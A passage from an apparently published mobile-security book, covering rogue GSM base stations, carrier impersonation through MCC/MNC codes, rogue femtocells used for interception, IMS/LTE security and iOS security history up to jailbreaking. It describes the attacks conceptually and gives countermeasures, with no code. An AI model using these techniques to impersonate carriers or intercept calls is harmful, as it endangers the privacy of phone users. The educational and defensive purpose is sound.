popular brand (like Android or iPhone) were to start misbehaving? It would be the 
largest distributed denial of service cellular carriers have ever seen.

Rogue Mobile Device Countermeasures
Mobile devices modified as just described would be devastating to the cellular network, 
except for one thing: locality.

One of the major points to consider when people start talking doom and gloom about 
the cellular network is the idea that a cellular network is, by design, carved up into many 
smaller parts. If someone were to modify a cellular phone in order to do something 
“bad” to cellular gear … well, he or she would be able to affect anyone within radio 
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earshot. For a modern phone, that’s generally on the order of a couple hundred yards or 
less in a big city and a few miles on flat terrain. If that person were able to do such a 
thing, the damage would be limited (and yes, we know “damage” is a horrible word to 
use here) to generally members of the cell inside the cellular network, and potentially 
only to those exposed to the actual original radio signal, depending on the type of 
interference and the attacker’s goal. Put simply—radio is the most deniable method of 
communication folks can deploy nowadays; it would actually be easier to use a spark 
gap and a relatively beefy battery tuned to the four or five basic cellular service frequencies 
to cause annoyance and denial of service, rather than modify the baseband of a cellular 
device to do it for you. We figure these types of threats, although legitimate, shouldn’t 
keep you up at night.

Early Rogue Station Attacks
The traditional trust model for the cellular network looks a little bit like a kindergarten 
class. There’s a teacher and a whole bunch of potentially rowdy children. Each child 
roughly corresponds to an active cell phone, and each classroom roughly corresponds to 
a cell site. You can imagine that most of the trust and most of the authority comes from 
the top—from the cellular carrier. Because of this, and because of the assumption that the 
skills required to modify hardware and firmware are beyond most attackers, we see a 
very top-down approach to network control. This means the network demands 
authentication from the phone, but (until recently) the phone simply didn’t bother to 
authenticate the network. The simplicity with which you could emulate a cellular 
network was really more about what you knew of the testing equipment and less about 
circumventing security measures.

To detail this a little further, let’s take a simple example of how we learned to 
impersonate any cellular carrier in the world. Back in the 1990s, we were very 
impressionable kids, with too much time on our hands and a rather small amount of 
savings. We needed to start playing with this new technology that allowed us to talk to 
folks from the beach, from a car, or from the top of a mountain. At the time, the magic 
was still fresh, and the idea of sending speech over radio waves to some other person 
was pretty damn awesome.

Those were the days of simple time division multiplexing, raw radio output strength, 
and huge batteries. There were competing technologies, and people were still struggling 
to achieve that nirvana of interoperability that we enjoy today.

Regardless, we were curious, we were poor, but we did have a cell phone or two. We 
started to poke around USENET and ask questions about radio, digitized voice, and this 
new-fangled thing called GSM. GSM technology was relatively immature back then, but 
luckily the standards and protocol specifications were available to hobbyists, if you were 
lucky enough to find digital copies. Armed with a 1200-page specification document, we 
started reading … and reading … and reading—until we stumbled on an interesting fact 
about the GSM protocol. Any phone can, potentially, roam on another provider’s 
network. This is what happens when you leave Rotterdam, arrive in Stavanger, and can 
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still make and receive calls. This is a built-in feature of the GSM network. It also boils 
down to three very interesting things:

• A cellular phone can simply “join up” with another cellular provider’s network.

• Cellular phones are generally promiscuous when it comes to joining networks 
(how else would roaming be so easy?).

• Cellular networks are defi ned by a simple three-digit number and a three-digit 
country code, as shown in Table 2-1.

Country Country Code Selected Operators

United States 310, 311, 313, 316 T-Mobile: 026; ATT: 150

United Kingdom 234, 235 T-Mobile: 030; BT: 076

Canada 302 Koodo: 220; Rogers: 720

Saudi Arabia 420 Mobily: 003

Brazil 724 Claro: 005; Vivo: 006

China 460 China Mobile: 002; China Telecom: 003

Test 001 TEST: 1

Table 2-1 GSM Network MCC/MNC Chart 
(Source: Wikipedia, en.wikipedia.org/wiki/Mobile_Country_Code_(MCC))

If you’re anything like us, you’re saying something like “Now, how do we emulate 
that three-digit number?” If you’re not like us, that’s good, because that kind of thinking 
can get you into all sorts of trouble. Ultimately, though, we found what we had been 
looking for—a way to create a GSM network and to understand how GSM phones would 
join and use that network. The biggest problem was that we had no equipment to do 
anything with our newfound knowledge. We needed to get our hands on a base station 
but without using a ski mask and bolt cutters. After many months of searching, we finally 
found what we were looking for—another cell phone! We had no idea, at the time, how 
powerful the baseband was in these little devices. It turned out that many features, like 
being able to simulate a base station, were really just a software change away.

We had been looking everywhere for a way to simulate a full base station—the radio 
tower that every cellular phone connects to for service. What we hadn’t realized was that 
radio was, by its very nature, a shared broadcast medium—meaning if we were close 
enough, we could listen in to whatever was in the air around us. Pretty basic, we know, 
but we were younger and just learning this stuff for the first time. Armed with a slightly 
different goal—to listen in to cellphones, rather than to emulate a base station—we 
started out asking more and more questions of anyone who would listen. Ultimately, we 
heard back from another tech-head in Germany. He explained that you could modify the 
firmware on a cellular phone to place it into what he called “engineering mode.” We 
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didn’t immediately see the benefit until he explained: “Engineering mode firmware 
allows these phones to sniff radio traffic on all bands at the same time, and you can log 
all of these packets via RS232. Stuff like voice and SMS. It’s pretty cool.”

Remember, these were the days of 14.4k modems, so it was pretty exciting for us to 
find a way to capture radio traffic with a cell phone. This fellow sent us a massive 300kB 
attachment, some instructions on how to flash a particular phone, and instructions for 
buying a debug cable from a vendor overseas. We paid about $20 for the cable, set up a 
Slackware box, and flashed our first cell phone. We haven’t looked back since.

Now, for those of you who are picturing scenes from the movie Swordfish or Hackers, 
we need to tell you right now: it was nothing like that. In fact, it took months of casual 
hacking to really understand the stuff we were looking at. When we did, though, our 
whole world changed. We were looking at byte streams corresponding to control channels 
(making and breaking telephone calls and sending text messages), voice channels, and 
even packet data. At the time, packet data was usually for simple low-speed tethering, 
and I reckoned that the voice and text messaging was cooler.

Remember, too, that all of this happened in the 1990s. Cell phones were just coming 
into vogue; they were starting to get less expensive; and more and more folks were using 
them as a day-to-day convenience. All the resources we needed to expend were the 20-
odd dollars for the cable, a few dozen hours on USENET, and a dial-up connection to 
download some firmware. All in all, we still view those $20 as a good investment.

If we fast-forward a few years, to the point where we had real jobs and real customers, 
the idea of emulating a cellular base station came up again. Back in early 2002, this author 
was asked to provide a full testing environment for cellular phones. The idea was to be 
able to understand and modify the environment in which mobile phones and mobile 
payments would be made. Being a little smarter the second time around, I immediately 
approached the major cellular carriers and asked, “What do you guys use to test your 
phones?” Perhaps predictably, all of the carriers told me to wander off, so to speak, 
perhaps thinking that if some crazy consultant knew the secret to their network testing, 
that anarchy would soon follow.

I was reduced to wandering around the Internet again, whereupon I found a nice 
company called Rhode & Schwartz. R&S just happened to create test gear for GSM 
networks, including the holy grail of my search—base station transceiver (BTS) emulation! 
I quickly found out all I could about their product, including the price. Have I mentioned 
that these units were expensive? Like six-digits expensive? It seemed that my client 
didn’t mind one bit, so neither did I. I ordered the R&S CMU200 with all of the bells and 
whistles and I got to work. Turns out that it was still just as simple to start emulating base 
stations—those three digits, or the mobile network code, defined the various carriers. 
Once I looked up the MCC/MNC tables, I realized that there was, thoughtfully, a “Test” 
MCC/MNC of 001/001. Of course, for the sake of this book, I must insist that anyone 
who’s interested in exploring this area should stay on 001/001. Let’s perform a little 
imaginary experiment, however.

Let’s say you happen to have access to one of these BTS emulation boxes (purchased 
from an auction, a fire sale, or direct from the manufacturer). Let’s also say that you 
wanted to emulate one of those cellular carriers we’ve been talking about. The first thing 
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you’d do is go look up the standard mobile country code for your country; for the sake 
of this gedanken (thought) experiment, let’s use Saudi Arabia. Saudi Arabia currently has 
two main mobile network operators (MNOs) vying for revenues from mobile subscribers: 
Mobily and Al Jawal (Etisalat and Saudi Telecom, respectively). Let’s presume we’re 
going to impersonate Mobily. We first look up the KSA’s MCC, which is 420. Good start: 
three digits down, three to go. Now we need to determine what mobile network code 
Mobily uses for its services. How do we do this? The easiest way is to look up the MCC/
MNC pair on various sites online. For this experiment, we’ll use mcclist.com. Mobily 
uses “3” (or “003”) as its mobile network code. Armed with this information, we are now 
able to emulate a GSM network in Saudi Arabia.

At least … we thought we could. It turns out that, although six digits do uniquely 
determine a GSM network operator’s space, one final piece of information is necessary 
to fool GSM handsets into connecting to your fake BTS: the channel assignments. Today, 
channel assignments are usually a moot point, with “world phones” and “quad band” 
radios being more the norm than the exception, but you should always be thorough 
when trying to impersonate a cellular carrier. In this case, we can consult the same 
websites and see that, in our particular thought experiment, Mobily uses GSM 900 and 
UMTS/W-CDMA 2100. For our purposes, we don’t have to worry about radio 
compatibility or channel selection, but in the real world, we would need to cover both 
the standard GSM 900-MHz band as well as the CDMA 2100-MHz band, necessitating 
two separate radios. Figure 2-4 shows the GSM spoofing setup.

Subscriber

Subscriber Attacker Attacker

Fake BTS

PC

BSS Attacker

Um

Figure 2-4 A simple GSM spoofi ng setup
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After all of this work, let’s see what we’ve got. First, if we were to turn this unit on in 
Saudi Arabia, we would begin to see phones associating with our base station. We’d also 
see data connections, outgoing phone call attempts, and a lot of SMS messages. The 
subscribers would also notice something else: they would be seemingly disconnected! 
Although the equipment we’ve described will successfully fool a cellular phone into 
connecting with it, the base station emulator does not have all of the required connectivity 
out of the box to allow cell phones to make and receive calls, send text messages, or 
browse the Internet.

For some of these problems, like browsing the Internet, it’s as simple as plugging an 
Ethernet cable into the back of the emulation box. For phone calls, spoofing the number 
identification for outgoing calls is an awful lot of trouble—and it requires an equal 
amount of effort to intercept and proxy incoming phone calls legitimately.

Rogue Base Station Countermeasures
As noted, this issue is about cellular network authentication, and thus, there is little that 
you can do about this as an end-user. Remember this next time you make that ultrasensitive 
phone call or send that SMS or email from your mobile device. Sigh deeply.

Rogue Femtocell Attacks
In 2009, there was significant interest in a simple open implementation of the BTS portion 
of the GSM stack. This implementation, OpenBTS, gained notoriety when a few security 
researchers realized that you could use this free software on some basic radio hardware 
and produce a “fake base station” for about $1500USD (remember that the R&S CMU200 
cost more than a luxury yacht at the time, so this was big news). Unfortunately for the 
security researchers, the year 2009 was also when the general release of femtocells hit the 
North American market. Femtocells aren’t like base station testing equipment, and they 
aren’t like open source software implementations of the GSM stack. Femtocells are a 
hacker’s holy grail; they are bona fide mobile network operator devices that implement 
the complete GSM or CDMA stack, support all devices on an operator’s network, and 
provide legitimate calling, messaging, and data backhaul to any subscriber. Figure 2-5 
shows a possible rogue femtocell setup.

As with most new technology, however, there were snags. Almost as soon as they 
were released, these femtocells ended up as fodder for just about every interested 
security professional and teenager with a credit card. As one presentation at Black Hat 
noted, these devices were essentially a basic embedded Linux distribution with a few 
custom applications and some nice radio equipment. A small price to pay for a brave 
new world, no?

The idea of a femtocell is to place a wee tiny box placed in your apartment or home. 
This wee little box has a couple of connectors—antennas, power, Ethernet—and little 
else besides status LEDs. So how does this box make its magic happen? It’s actually quite 
simple. As just noted, a traditional femtocell is a rather generic Linux distribution running 
several specialized applications; it loads a couple of drivers and includes some nice, if 
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simple, radios. Most of the actual implementation is via software; binaries control the 
control and data signaling for the connected devices. Firmware images modify the radio 
devices for various compliance and protocol rules. These applications generally control 
three main aspects: the control signaling (call setup and teardown and SMS messaging), 
the conversion of normal voice calls into real-time protocol streams, and the associated 
SIP setup.

Femtocells also include basic operating system support for securing the backhaul 
link; usually they accomplish this via IPSec transport or tunnel mode connections to 
special security gateways on the mobile network operator side. Put it all together, and 
you have a highly functional unit that can reside both in the operator’s network and 
equally well within a customer network.

The basic operation of a femtocell includes a number of aspects that security folks are 
interested in, including:

• Device association

• Call setup and teardown

• Message delivery

• Backhaul connectivity

Device association with most modern femtocells requires that the femtocell actually 
communicates with the MNO authentication mechanism. Interestingly, this offers a 
number of potential attack vectors. Obviously, the communication path with the back-
end authentication center and its associated security (authentication, authorization, rate 
limiting) is critical to the security of the overall platform. Nowadays, any femtocell that 
receives the raw secrets used to authenticate a device is a serious risk to both MNOs and 
their customers. Although secrets could be protected with an IPSec tunnel between the 
MNO and femtocell, the fact is that anyone with physical access to a device as capable 
as a femtocell can easily gain access to the software and hardware. Once physical access 
is obtained, all security bets are off. Many off-the-shelf units do exactly this, as shown 
early on by hackaday.com/2012/04/12/poking-at-the-femtocell-hardware-in-an-att-
microcell/ and wiki.thc.org/vodafone. Because these devices are based on simple Linux 
distributions, any and all hacking tools and knowledge can be used by moderately 
skilled attackers to leverage the full power of a network-connected base station.

This leads to a serious dilemma: how can we place high-powered, highly trusted 
network devices in the hands of customers? Our answer: you cannot. The simple fact is 
that folks around the world would love to play with these femtocells for a variety of 
reasons—and not all of those reasons are good. Femtocells should perform only simple 
“radio-over-IP” functionality if they wish to maintain the security posture of their MNOs 
and to protect their (and potentially other) customers.

Another interesting configuration choice for most femtocells revolves around 
membership. A highly controversial question with many network operators goes 
something like this: If we limit the membership of our femtocells to a few cell phones, 
we’ll lose out on free network improvement. Therefore, we’ll allow any of our customers 
to connect to anyone’s femtocell, and everyone will be happy!
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Some carriers have chosen to limit femtocell device associations only to a customer-
controlled whitelist, whereas others have simply said that any phone capable of 
connecting to the MNO’s network can also connect to their femtocells. Let’s take a second 
and dissect that decision, shall we?

If the femtocell allows only connections from a whitelist, we have a trade-off among 
a number of factors—customer experience, MNO benefit, and security. In current 
deployments, we see mostly a compromise between customer experience (they don’t 
have to do anything to make a femtocell “work”) and benefit to the MNO (all customers 
can enjoy improved service even if they don’t purchase a femtocell; they only have to be 
near a customer who did). Combine this with the current femtocell design, which gives 
you a highly capable network platform, and you end up with a potential security 
problem: people can create rogue base stations that they, not the MNO, control. This 
setup provides those with, let’s say, low moral fiber the opportunity to sniff phone 
conversations, SMS, and data connections from unsuspecting passersby whose mobile 
devices will promiscuously join the rogue base station. The only real limit to this problem 
is physics: most femtocells employ very basic antennas, and those antennas have limited 
coverage. However, in our experience, it takes less than $100 to enhance the antenna, 
increase the transmit power, and dramatically increase the range of the compromised 
femtocell. A pretty nasty piece of gear.

On the other hand, those MNOs that have limited their femtocell membership to a 
few IMSIs still have the problem of a highly capable platform being deployed that can, 
in some cases, request extremely valuable information from the backhaul, for instance, 
encryption keys. So although those MNOs that have limited their membership have 
limited the “rogue base station attack” problem, they still have let a (relatively) open 
gateway onto the cellular network itself, which in the wrong hands could yield access to 
sensitive customer information—information that could be used to clone a subscriber 
identity module successfully and potentially harm both the customer and the MNO.

Countermeasures for Rogue Femtocells
Given the popularity and widespread use of femtocells, we’re not going to put this genie 
back in the bottle anytime soon. However, there are some things that MNOs and others 
can do about femtocell design that could improve the situation.

Ideally, what would be easiest here would be to create a device that looks a lot like 
today’s femtocell, yet lacks the authority to request information regarding a particular 
subscriber. This new-age femtocell would protect MNOs and customers from most 
attacks, but it would still give a determined attacker the capability to pretend to be an 
MNO—something that, most likely, the MNO would not enjoy. To solve this problem, 
we have to swing our gaze over to handset makers and the standards committees that 
write up protocols and interfaces.

Funny enough, GSM networks never really had the notion that the network would 
have to identify itself to the handset; rather, the security is supposed to go from “outside 
in,” you might say. To get on the network, a mobile station has to go through hoops like 
answering challenges, providing a valid serial or equipment number, obey all traffic 
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laws as set down by individual base stations, and even then, a mobile station may simply 
be denied network access if, for instance, the network is too busy.

This security model, as we hope you’ll agree, is flawed. One-way trust just doesn’t 
cut it anymore. With the capabilities inherent in even aging smartphones, we’re looking 
at the largest distributed computing cluster in human history, with the most connectivity, 
memory, and processing power we’ve ever produced—as a civilization. That’s kind of 
cool. It also requires somewhat novel decision making on the part of handset 
manufacturers, standards bodies, and MNOs. Luckily, we’re not the first folks to think of 
this. Good thing, too.

As we’ve been rambling on about mobile network operators, GSMs, and femtocells, 
people have been quietly toiling to produce a dependable, open, and correct method of 
mutual authentication between the mobile stations like your cell phones and the mobile 
networks.

In the IP multimedia subsystem (IMS) world, based on IP and using a services model, 
we naturally have a few choices when it comes to mutual authentication. SIP allows for 
a wide variety of one-sided and mutual authentication schemes, and IPSec allows for a 
variety as well. So how will we fare in the IMS world? Pretty well, actually, if people pay 
attention to things like known-bad ciphers, keys, and modes—and key handling issues—
and secure-by-default defaults. All in all, we’re in a better position today than ever before 
to get things right.

THE BRAVE NEW WORLD OF IP
We’ve reviewed how old-school cellular technologies work, and how interoperability, 
roaming, and handsets all affect the mobile network operators around the world. Now, 
we’ll talk about the brave new world of IMS—the IP multimedia subsystem. Most carriers 
are moving to a technology platform that is truly IP-based, rather than discrete or shared 
radio channels with data uplink and downlink. In this brave new world, all devices will 
simply have a baseband that is capable of connecting a device to a high-speed IP network. 
Gone will be the days of packetized voice, loss of data service while on a phone call, or 
low-speed data links.

While this technology platform is quite a nice advancement from a services and 
billing perspective, from a security perspective, essentially all of the services—calling, 
data, control plane, messaging—will be standardized onto a single unified backbone. 
That backbone happens to be good-old IPv4 (and, soon enough, IPv6). Along with that 
transition, you can expect a few more changes, as well:

• Voice calls become Real-time Transport Protocol (RTP) streams delivered 
via UDP.

• SMS and MMS messages become Short Message Peer-to-Peer (SMPP) 
interactions.

• Control channels become SSL- or IPSec-protected TCP endpoints on your 
phone.
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This will skew the game wildly toward folks who have been reconnoitering, breaking, 
and investigating IP-connected devices for decades. Whereas there was (some) magic 
and awe around the idea that a cellular phone could manage multiple radio channels, 
protocols, and various radio frequencies across the world, we’ve now got a simple, 
unified platform based on extremely useful but easy-to-break technology, as shown here 
in Figure 2-6.

In the long-term evolution (LTE) model of the world, there are devices out in the wild 
that can connect via IP networks to services, protected by gateways, which provide 
useful features for customers. One of the largest changes from GSM or CDMA to LTE is, 
of course, the unified bearer protocol—IP—but another, equally large change is the idea 
that an IMS network can service any IP client. This means that your PC, your laptop, 
your tablet, or your smartphone could equally well use services provided by an IMS 
network.

Want to transfer a call between your mobile and your PC when you step inside your 
house? Want to stream a TV channel to your television when you’re on the couch, and to 
your smartphone when you’re up and about the house? Want to send text messages from 
any machine you sit down at?

Technically, all of these features are possible with an IMS core. All you need is some 
basic client software, network connectivity, and presto, you have a seamless media 
experience that covers traditional telephony, cable television, instant messaging, and 
web browsing. That’s the promise, at least. As usual, we have a ways to go before we get 
there.

Right now, IMS deployments are happening all around the world, and they’re not 
just being done by mobile network operators—television providers, VoIP providers, and 
traditional wire-line phone services are trying to jump on the all-IP bandwagon to secure 
more customers and more revenue. IMS is dependent on a number of cooperating 
subsystems, however. While we focused on some nitty-gritty detail for the GSM 
discussion in this chapter, now we want to take a step back so we can direct your attention 
to some of the more interesting architectural issues that crop up with IMS systems. Rather 
than reviewing each individual IMS subsystem in detail, we’ll focus on some of the 
differences between an IMS system and a GSM system.

One of the principal differences between a true IMS system and a GSM deployment 
is the method by which devices access IMS services. Unlike GSM, which uses a 
combination of special radios and cellular towers, IMS limits itself strictly to IP-based 
communication. That’s right; IMS doesn’t really care how you get to it, as long as you 
understand Session Initiation Protocol (SIP) and a few IMS-idioms. Therefore, just about 
any Internet-connected device could potentially leverage an IMS deployment for media 
services; we figure the phone companies already recognize this and have a secret plan to 
conquer the world with converged service. But we digress. IMS also doesn’t truly care 
what type of device you’re using; in fact, session setup and initiation is generally handled 
by individual applications, and each of those applications is expected to know, 
understand, and honor the limitations of the devices that connect to it.

Every day, all of this technology works quietly behind the scenes for billions of 
people. The next time you send a text or answer a phone call, we hope you’ll appreciate 
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the complexity and orchestration that goes into making your phone work. As security 
professionals, we understand intuitively that complex systems often have simple failure 
modes. As you progress through this book, we hope you’ll see that the mobile environment 
is truly a jungle—with different radio protocols, channels, mobile network operators, 
handsets, operating systems, software, and users. The cellular network has become an 
indispensible and very intimate underpinning of modern society, and we must take 
measures to protect and secure it whenever possible.

SUMMARY
In this chapter, you learned that

• Phones automatically join any available cellular network advertising itself as a 
compatible mobile network, which is defi ned by some very simple (and easily 
spoofable) data elements.

• Cellular network spoofi ng has evolved over the last dozen or so years from 
very expensive and complex to simple and cheap. Commercially available 
femtocell units for under $100 can be modifi ed to trick any in-range phone into 
joining its network, effectively compromising all communications to and from 
the mobile device.

• Mobile networks are moving to all-IP protocols, which will expose them to 
many of the security hijinks that affected the Internet over the last two decades. 
The silver lining is that we’ve (hopefully) learned from these experiences and 
are better prepared to get things right this time.

Despite all these shortcomings, you can rest easy: none of it’s under your control anyway, 
unless you’re one of the major mobile network operators. Let’s hope they’re reading and 
taking notes.
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The iPhone, iPod Touch, iPad, and iPad mini are among the most interesting and 
useful new devices to be introduced into the market in recent years. The styling 
and functionality of the devices make them a “must have” for many people when 

on the go. For just these reasons, the adoption of the iPhone and related devices over the 
last few years has risen to more than 500 million units sold as of early 2013. This has been 
great news for Apple and users alike. With the ability to purchase apps, music, and other 
media easily, and to browse the Web from a full-featured version of the Safari web 
browser, people have simply been able to get more done with less.

From a technical perspective, the iPhone has also become a point of interest for 
engineers and hackers alike. People have spent a great deal of time learning about the 
iPhone’s internals, including what hardware it uses, how the operating system works, 
what security protections are in place, and so on. There is certainly plenty to talk about 
in terms of security. The mobile operating system used by the iPhone, known as iOS, has 
had an interesting evolution from what was initially a fairly insecure platform to its 
current state as one of the most secure consumer-grade offerings on the market.

The closed nature of the iPhone has also served as a catalyst for research into the 
platform’s security. The iPhone, by default, does not allow third parties to modify the 
operating system in any way. This means, for example, that users cannot access their 
devices remotely, nor can they install any software not available from Apple’s App Store, 
as they would normally be able to do with a desktop operating system. There are, of 
course, many people who want to do these things and much more, and so a community 
of developers has formed that has driven substantial research into the platform’s internal 
workings. Much of what we know about the iPhone’s security comes as a result of 
community efforts to bypass restrictions put in place by Apple to prevent users from 
gaining full access to their devices.

Given the broad adoption that the iPhone has seen, it seems reasonable to consider 
the platform’s security-related risks. A desktop computer may contain sensitive 
information, but you aren’t likely to forget it in a bar (iPhone prototypes!). You’re also 
not as likely to carry your laptop with you everywhere you go. The iPhone’s relatively 
good track record with regard to security incidents has led many people to believe that 
the iPhone can’t be hacked. This perception, of course, leads, in some cases, to folks 
lowering their guard. If their device is super secure, then what’s the point in being 
cautious. Right? For these reasons and many others, we need to consider the iPhone’s 
security from a slightly different perspective—that of a highly portable device that is 
always on and always with the user.

In this chapter, we’re going to look at security for the iPhone from various angles. 
First, we’re going to provide some context by reviewing the history of the platform, 
starting in the mid-1980s and moving forward to present day. After this, we’ll take a look 
at the platform’s evolution from a security perspective since initial public release until 
now. We’ll then get a bit more technical by jumping into how to unlock your own phone’s 
full potential. Once you’ve learned how to hack into your own device, you’ll learn how 
to hack into devices not under your direct control. This is all so you can then take a step 
back to consider the measures that exist to defend an iPhone from attack. Let’s get started 
then by taking a look at the history of the iPhone!
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KNOW YOUR iPHONE
iOS has an interesting history, and it helps to understand more about it when learning to 
hack the platform. Development on what would later become iOS began many moons 
ago, in the mid-1980s at NeXT, Inc. Steve Jobs, having recently left Apple, founded NeXT. 
NeXT developed a line of higher-end workstations intended for use in educational and 
other nonconsumer markets. NeXT chose to produce its own operating system, originally 
named NeXTSTEP. NeXTSTEP was developed in large part by combining open source 
software with internally developed code. The base operating system was derived 
primarily from Carnegie Mellon University’s Mach kernel, with some functionality 
borrowed from BSD Unix. An interesting decision was made regarding the programming 
language of choice for developing applications for the platform. NeXT chose to adopt the 
Objective-C programming language and provided most of their programming interfaces 
for the platform in this language. At the time, it was a break from convention, as C was 
the predominant programming language for application development on other platforms 
up to that point. Thus, application development for NeXTSTEP typically consisted of 
Objective-C programming, leveraging extensive class libraries provided by NeXT.

In 1996, Apple purchased NeXT and, with that purchase, came the NeXTSTEP 
operating system (by that time, renamed to OPENSTEP). NeXTSTEP was then chosen as 
the basis for a next-generation operating system to replace the aging Mac OS “classic.” 
In a prerelease version of the new platform, codenamed Rhapsody, the interface was 
modified to adopt Mac OS 9 styling. This styling was eventually replaced with what 
would become the UI for Mac OS X (codenamed Aqua). Along with UI changes, work on 
the operating system and bundled applications continued, and on March 24, 2001, Apple 
publicly released Mac OS X, their next-generation operating system, to the world.

Six years later, in 2007, Apple boldly entered into the mobile phone market with the 
introduction of the iPhone. The iPhone, an exciting new smartphone, introduced many 
novel features, including industry-leading design of the phone itself as well as a new 
mobile operating system known initially as iPhone OS. iPhone OS, later renamed 
somewhat controversially to iOS (owing to its similarity to Cisco’s Internetwork 
Operating System, or IOS), is derived from the NeXTSTEP/Mac OS X family and is more 
or less a pared-down fork of Mac OS X. The kernel remains Mach/BSD-based with a 
similar programming model, and the application programming model remains 
Objective-C based with heavy dependence on class libraries provided by Apple.

Following the release of the iPhone, several additional devices powered by iOS were 
released by Apple, including the iPod Touch 1G (2007), Apple TV (2007), and iPad (2010) 
and iPad mini (2012). The iPod Touch and iPad are highly similar to the iPhone in terms 
of their internals (both hardware and software). Apple TV varies a bit from its sister 
products in that it is more of an embedded device intended for use in the home rather 
than a mobile device. However, Apple TV still runs iOS and functions roughly the same 
(the most notable differences being the user interface and lack of official support for 
installation and execution of apps).

From a security perspective, all of this is mentioned to provide some context, or some 
hints in terms of where the focus tends to be when attempting to attack or provide 
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security for iOS-based devices. Inevitably, attention has turned to learning about the 
operating system architecture, including how to program for Mach, and navigation of 
the application programming model, including, in particular, how to work with, analyze, 
design, and/or modify programs built primarily using Objective-C and the frameworks 
provided by Apple.

A final note on iOS-based devices relates to the hardware platform chosen by Apple. 
To date, all devices powered by iOS have had, at their heart, an ARM processor, as 
opposed to an x86 or some other type of processor. The ARM architecture introduces a 
number of differences that need to be accounted for when working with the platform. 
The most obvious difference is that, when reversing or performing exploit development, 
all instructions, registers, values, and so on, differ from what you would find on other 
platforms. In some ways, however, ARM is easier to work with. For example, all ARM 
instructions are of a fixed length (either 2 or 4 bytes); the overall instruction set contains 
fewer instructions than that of other platforms; and there are no 64-bit concerns for the 
time being, as ARM processors in use by the current generation iPhone and similar 
products are 32-bit only.

To make things a bit easier, from this point in the chapter, we’ll use the term iPhone to refer collectively 
to all iOS-based devices. Also, we’ll use the terms iPhone and iOS interchangeably, except where a 
distinction is required.

Before moving on to a discussion of iOS security, here are some references for further 
reading, should you be interested in learning more about iOS internals or the ARM 
architecture:

• Mac OS X Internals: A Systems Approach, Amit Singh (Addison-Wesley, 2006)

• Mac OS X and iOS Internals: To the Apple’s Core, Jonathan Levin (Wrox, 2012)

• OS X and iOS Kernel Programming, Ole Henry Halvorsen (Apress, 2011)

• iOS Hacker’s Handbook, Charlie Miller et al. (Wiley, 2012)

• The Mac Hacker’s Handbook, Charlie Miller et al. (Wiley, 2009)

• Programming under Mach, Joseph Boykin et al. (Addison-Wesley, 1993)

• ARM System Developer’s Guide: Designing and Optimizing System Software, 
Andrew Sloss et al. (Morgan Kaufmann, 2004)

• ARM Reference Manuals, infocenter.arm.com/help/topic/com.arm.doc.subset.
architecture.reference/index.html#reference

• The base operating system source code for Mac OS X, opensource.apple.com 
(Portions of this code are shared with iOS and often serve as a helpful resource 
when attempting to determine how something works in iOS.)

03-ch03.indd   50 6/19/2013   12:44:45 AM

http://www.infocenter.arm.com/help/topic/com.arm.doc.subset.architecture.reference/index.html#reference
http://www.infocenter.arm.com/help/topic/com.arm.doc.subset.architecture.reference/index.html#reference
http://www.opensource.apple.com


Chapter 3: iOS 51

HOW SECURE IS iOS?
iOS has been with us for about six years now. During that period of time, the platform 
has greatly evolved, in particular, in terms of the operating system and application 
security model. When the iPhone was first released, Apple indicated publicly that it did 
not intend to allow third-party apps to run on the device. Developers and users alike 
were instructed to build or use web applications and to access these applications via the 
iPhone’s built-in web browser. For a period of time, this meant that, with only Apple-
bundled software running on devices, security requirements were somewhat lessened. 
However, the lack of third-party apps also kept users from taking full advantage of their 
devices. In short order, hackers began to find ways to root or “jailbreak” devices and to 
install third-party software. In response to this and also in response to user demand for 
the capability to install apps on their devices, in 2008, Apple released an updated version 
of iOS that included support for a new service, known as the App Store. The App Store 
gave users the opportunity to purchase and install third-party apps. Since the launch of 
the App Store, over 800,000 apps have been released for purchase, with a total of over 40 
billion apps having been downloaded (see apple.com/pr/library/2013/01/28Apple-
Updates-iOS-to-6-1.html). Apple also began to include additional security measures 
with this and subsequent releases of iOS.

Early versions of iOS provided little in terms of security protections. All processes 
ran with superuser (root) privileges. Processes were not sandboxed or restricted in terms 
of what system resources they could access. Code signing was not employed to verify 
the origin of applications (and to control execution of said applications). No Address 
Space Layout Randomization (ASLR) or Position Independent Executable (PIE) support 
was provided for the kernel, other system components, libraries, or applications. Also, 
few hardware controls were put in place to prevent hacking of devices.

As time passed, Apple began to introduce improved security functionality. In short 
order, third-party apps were executed under a less-privileged user account named mobile. 
Sandboxing support was added, restricting apps to a limited set of system resources. 
Support was added for code signature verification. With this addition, apps installed on 
a device had to be signed by Apple to allow their execution. Ultimately, code signature 
verification was implemented at both load time (within code responsible for launching 
an executable) as well as at runtime (in an effort to prevent new code from being added 
to memory and then executed). Eventually, ASLR for the kernel, other operating system 
components, and libraries were added, as well as a compile-time option for Xcode known 
as PIE. PIE, when combined with recent versions of iOS, requires an app to load at a 
different base address upon every execution, making exploitation of app-specific 
vulnerabilities more difficult.

All of these changes and enhancements bring us to the present day. iOS has made 
great gains in terms of its security model. In fact, the overall App Store–based app 
distribution process coupled with the current set of security measures implemented in 
the operating system have made iOS one of the most secure consumer-grade operating 
systems available. This take on the operating system has largely been validated by the 
relative absence of known malicious attacks on the platform, even when considering 
earlier less secure versions.
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However, although iOS has made great strides, it would be naïve to think that the 
platform is impervious to attack. For better or for worse, this is not the case. While we 
have not currently seen much in the way of malicious code targeting the platform, we 
can draw from some examples as a means for demonstrating that iOS does, in fact, have 
its weaknesses, that it can be hacked, and that it does deserve careful consideration 
within the context of an end user or organization’s security posture.

iOS security researcher Dino Dai Zovi’s paper on iOS 4.x security discusses iOS’s ASLR, code 
signing, sandboxing, and more, and should be considered required reading for those interested in iOS 
hacking. See trailofbits.files.wordpress.com/2011/08/apple-ios-4-security-evaluation-whitepaper.pdf.

JAILBREAKING: UNLEASH THE FURY!
When we talk about security in general, we tend to think about target systems being 
attacked and ways either to carry out those attacks or defend ourselves from them. We 
don’t usually think about a need for rooting systems under our own control. Funny as it 
may sound, in the case of mobile security, this is a new problem that needs to be dealt 
with. In order to learn more about our mobile devices or to have the flexibility needed 
when using them for security-related or really any other nonvendor-supported purpose, 
we find ourselves in the position of having to hack into them. In the case of iOS, Apple 
has toiled at length to prevent their customers from gaining full access to their own 
devices. With every action, there is, of course, a reaction, and in the case of iOS, it has 
manifested itself as a steady stream of tools that provide you with the capability to 
jailbreak the iPhone.

Thus, we begin our journey into the realm of iPhone hacking by discussing how to 
hack into your very own phone. As a first step toward this goal, it is useful to consider 
exactly what is meant by the term jailbreaking. Jailbreaking can be described as the process 
of taking full control of an iOS-based device. This can generally be done by using one of 
